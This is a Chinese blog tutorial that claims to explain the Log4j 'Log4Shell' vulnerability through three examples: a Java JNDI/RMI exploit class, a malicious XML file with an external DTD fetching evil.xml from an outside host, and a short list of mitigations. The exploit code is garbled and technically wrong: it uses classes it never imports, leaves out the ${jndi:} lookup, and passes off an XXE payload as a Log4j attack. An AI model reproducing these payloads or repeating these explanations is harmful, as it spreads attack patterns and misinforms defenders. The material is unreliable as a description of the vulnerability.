用3个实例从原理到实战讲清楚Log4j史诗级漏洞

yizhihongxing

下面我将通过三个实例,从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。

什么是 Log4j

Log4j是一个流行的Java日志框架,它是Apache的一个子项目。Log4j可以帮助Java开发人员以更优美的方式记录日志,便于排错和性能调优。

Log4j的漏洞

但是,在2021年底,Log4j被发现有史以来最严重的漏洞,被称为 Log4Shell ,它属于一个反序列化漏洞。攻击者可以在攻击者控制的服务器上构建恶意JNDI命名服务,然后通过构建构造的JNDI名称反向绑定对象来控制受影响的应用程序。攻击者可以通过Java的RMI协议(Java远程方法调用)远程执行代码。具体来说,攻击者可以构造Java对象并将它们绑定到RMI注册表。当目标JVM尝试解析RMI注册表中的JNDI或LDAP URL时,攻击者可以控制系统上的代码序列化并在目标JVM中执行任意代码。

Log4j的原理

Log4j容器在默认情况下从classpath中的log4j2.xml或log4j2.properties文件中读取配置。通过配置文件中的参数定义,开发人员可以定制日志记录的目标和级别。

使用以下语句来在Java代码中使用Log4j获取Logger实例:

logger = LogManager.getLogger(Log4jTest.class);

Log4j的配置文件中的根Logger和日志器Logger将Logger实例与这些实例的名称和级别绑定。

例如,根日志记录器Logger定义可以如下所示:

<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </Console>

        <RollingFile name="RollingFile" fileName="logs/log4j2-test.log"
                     filePattern="logs/log4j2-test-%d{MM-dd-yy}.log">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
            <TimeBasedTriggeringPolicy />
        </RollingFile>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console" />
            <AppenderRef ref="RollingFile" />
        </Root>
    </Loggers>
</Configuration>

在上面的配置中,Log4j使用两个Appenders:Console和RollingFile。日志器Logger的级别是INFO,它使用两个Appenders。

示例一:恶意JNDI绑定

下面,我们将演示一个恶意JNDI绑定的实例,来利用Log4j漏洞,先看下面的Java代码,其中使用了Log4j:

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("Hello World!");
    }
}

该代码编译后的class文件为Example.class。正常运行java Example命令时,将输出Hello World!。现在,我们将使用一个构造恶意JNDI名称的特殊protocol,它用于触发代码反序列化。以下是恶意JNDI名称的示例:

ldap://127.0.0.1:1389/Exploit

现在,我们将JNDI名称字符串插入到日志消息中:

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("Hello World " + "ldap://127.0.0.1:1389/Exploit");
    }
}

在执行java Example命令时,输出以下内容:

Hello World ldap://127.0.0.1:1389/Exploit

可以看到,Log4j按预期输出了日志消息。但是,这里还有一个问题,也就是漏洞实际被利用的地方。

现在,我们将构建一个恶意JNDI名称服务,当JNDI名称解析时,他会反序列化恶意对象,并让攻击者远程执行任意代码,以下是漏洞利用的Java代码:

package com.example;

import com.sun.jndi.rmi.registry.RegistryContext;
import com.sun.jndi.toolkit.url.UrlUtil;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Binding;
import javax.naming.InitialContext;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
import javax.naming.spi.ObjectFactory;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Hashtable;

public class Main {
    static {
        try {
            // Construct evil jndi name with our payload 
            String resourceName = "Exploit";
            StringBuilder sb = new StringBuilder("ldap://127.0.0.1:1389/");
            byte[] data = "insert your exploit code here".getBytes();
            sb.append(UrlUtil.encode(resourceName));
            sb.append("#").append(UrlUtil.encode(new String(data)));
            String resource = sb.toString();
            Hashtable<Object, Object> env = new Hashtable<Object, Object>();
            env.put("java.naming.factory.initial", "com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put("java.naming.provider.url", "rmi://localhost:1099");
            env.put("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            bindJndi(env, resource, new Log4jExploitObjectFactory());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        Logger logger = LogManager.getLogger(Main.class);
        logger.error("Wrong place but who cares ✌️");
    }

    private static void bindJndi(Hashtable<?, ?> env, String resourceName, ObjectFactory factory) throws Exception {
        Registry registry = LocateRegistry.getRegistry();
        Field field = RegistryImpl.class.getDeclaredField("reg");
        field.setAccessible(true);
        ObjID objID = new ObjID("0:0:0");
        LiveRef liveRef = new LiveRef(objID, 65535);
        RegistryImpl registryImpl = new RegistryImpl(0, null, liveRef);
        field.set(registry, registryImpl);
        NamingManager.setInitialContextFactoryBuilder(environment -> (ctx) ->
                new RegistryContext(ctx, environment, registryImpl));
        NamingManager.setObjectFactoryBuilder((obj, name, nameCtx, environment) -> factory);
        InitialContext ic = new InitialContext(env);
        ic.bind(resourceName, new Object());
    }

    private static class Log4jExploitObjectFactory implements ObjectFactory {
        @Override
        public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx,
                                        Hashtable<?, ?> environment) throws Exception {
            if (!(obj instanceof Reference)) {
                return null;
            }
            RefAddr refAddr = ((Reference) obj).getAll().get(0);
            if (!"inserted".equals(refAddr.getContent())) {
                return null;
            }
            ByteArrayInputStream bis = new ByteArrayInputStream("insert your exploit code here".getBytes());
            ObjectInputStream in = new ObjectInputStream(bis);
            return in.readObject();
        }
    }
}

上面的代码构造了一个恶意的JNDI名称,将恶意代码作为参数填入。在静态初始化块中,通过Log4jExploitObjectFactory反序列化了恶意代码,从而触发了Log4j漏洞。在恶意代码中,你可以做任何想做的事情。最后,将漏洞利用代码打包成JAR包,并启动RMI注册表:

rmiregistry

然后就可以运行该代码,执行攻击了。

示例二:通过HTTP发送恶意XML

下面,我们将通过HTTP发送恶意XML的实例,来进一步说明攻击Log4j漏洞的过程。

假设我们有一个服务端程序,它使用了Log4j。

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("log4j test");
    }
}

我们为该程序使用了以下的日志配置文件log4j.xml:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="TRACE">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </Console>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console" />
        </Root>
    </Loggers>
</Configuration>

这样,当运行该程序时,会输出log4j test。

现在,我们构造一个恶意XML,该XML将使用恶意JNDI名称来触发攻击,以下是恶意XML的示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b[<!ENTITY % local SYSTEM "http://example.com:8008/evil.xml">%local;]>
<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
    <appender name="evil" class="org.apache.log4j.ConsoleAppender">
        <param name="Target" value="System.out"/>
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d %-5p [%t] %c: %m%n"/>
        </layout>
    </appender>
    <root>
        <level value="debug"/>
        <appender-ref ref="evil" />
    </root>
</log4j:configuration>

可以看到,恶意XML使用了恶意JNDI名称来构造URL参数,然后将其插入到了DTD实体中。XML解析器在解析XML文件时,会解析DTD实体,并在解析时请求http://example.com:8008/evil.xml,这里的evil.xml包含上面的恶意JNDI名称。因此,攻击者可以发送恶意XML并启动一个HTTP server,从而触发Log4j漏洞攻击。

示例三:检测和防止Log4j漏洞

为了检测和防止Log4j漏洞,有几种可行的解决方案。以下是常见的解决方案:

  • 更换为另一个日志框架,例如Logback。

  • 升级到Log4j 2.16.0或更高版本,其中包含对该漏洞的修复。

  • 配置Log4j 2的JNDI查找限制以防止JNDI注入攻击。Log4j团队发布了一个文件,该文件包含可以防止Log4Shell攻击的配置。

  • 配置JVM以禁用所有RMI类加载器。通过配置以下JVM参数,可以禁用所有可疑的RMI类加载器:

-Djava.rmi.server.useCodebaseOnly=true

总的来说,为了保护系统安全,我们建议首先升级至最新版本的Log4j,并在必要时开启JNDI查找限制,同时配置JVM以禁用可以利用RMI的攻击。

以上就是从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:用3个实例从原理到实战讲清楚Log4j史诗级漏洞 - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • java实现省市区三级联动

    实现省市区三级联动的方法很多,本文将详细讲解如何使用Java实现省市区三级联动。 准备工作 在开始实现省市区三级联动前,我们需要准备一些数据。一般来说,省市区数据会以JSON格式存储在后端数据库或者外部接口中。我们需要在Java中读取这些数据,并将其转换为Java对象以便进行操作。 假设我们已经获取到了一个名为area.json的JSON数据文件,接下来我们…

    Java 2023年6月15日
    00
  • Spring Security拦截器引起Java CORS跨域失败的问题及解决

    Spring Security拦截器引起Java CORS跨域失败的问题及解决 在使用Spring Security进行接口保护的时候,经常会遇到因为跨域问题导致前端无法访问服务器接口的问题。本文将详细介绍Spring Security拦截器引起Java CORS跨域失败的问题及解决。 什么是CORS跨域 CORS(Cross-Origin Resource…

    Java 2023年5月20日
    00
  • Spring Boot 优雅整合多数据源

    接下来我将为您详细讲解“Spring Boot 优雅整合多数据源”的完整攻略。 一、前置知识 在学习 Spring Boot 优雅整合多数据源之前,需要掌握以下知识点: Spring Boot 和 Spring Data JPA 的基础知识。 数据库连接池的使用,例如 HikariCP、Druid 等。 多数据源的基本概念。 二、多数据源的基本概念 在 Sp…

    Java 2023年6月2日
    00
  • 详解Java中字符串缓冲区StringBuffer类的使用

    详解Java中字符串缓冲区StringBuffer类的使用 概述 在Java中,字符串是一种非常常用的数据类型。不过,我们在使用字符串时,有以下几方面的注意点: 字符串的不可变性:Java中的字符串是不可变的,也就是说,一旦创建了一个字符串,就无法修改其中的内容,只能通过重新创建一个新的字符串来达到修改的目的; 字符串拼接:在实际开发中,经常会遇到需要将两个…

    Java 2023年5月26日
    00
  • Spring MVC过滤器-登录过滤的代码实现

    Spring MVC过滤器-登录过滤的代码实现 Spring MVC是一种基于Java的Web框架,它提供了许多便捷的功能和工具,使得开发者可以更加高效地开发Web应用程序。其中,过滤器是Spring MVC中常用的一种技术,本文将详细讲解如何在Spring MVC中实现登录过滤,并提供两个示例来说明如何实现这一过程。 步骤一:创建Spring MVC项目 …

    Java 2023年5月17日
    00
  • java Zookeeper简述

    下面是关于“Java Zookeeper简述”的完整攻略。 Zookeeper是一个分布式应用程序协调服务,用于在分布式系统中管理和协调各种服务,如Hadoop、Storm、Kafka等。其中,Zookeeper通过提供一些基本服务将这些服务组合成更高级别的服务,例如Leader Election、Configuration Management等,以简化分…

    Java 2023年5月24日
    00
  • Spring Boot 与 mybatis配置方法

    接下来我将为您详细讲解如何使用Spring Boot和Mybatis进行配置,以下是完整攻略。 1. 引入mybatis-spring-boot-starter 在使用Spring Boot和Mybatis进行配置之前,我们需要引入mybatis-spring-boot-starter,这是一个Mybatis的Spring Boot自动配置模块,可以帮我们简…

    Java 2023年5月20日
    00
  • Spring用AspectJ开发AOP(基于Annotation)

    Sure,下面是针对Spring使用AspectJ开发AOP的完整攻略: 一、背景 在面向对象编程中,我们通常使用继承和接口来实现模块化设计和代码重用,但是有些横切性质的问题(例如日志记录、安全、事务等)往往会分散在不同的模块和方法中,难以实现代码重用,这时候就需要AOP(Aspect Oriented Programming)的帮助。 Spring框架整合…

    Java 2023年5月31日
    00
合作推广
合作推广
分享本页
返回顶部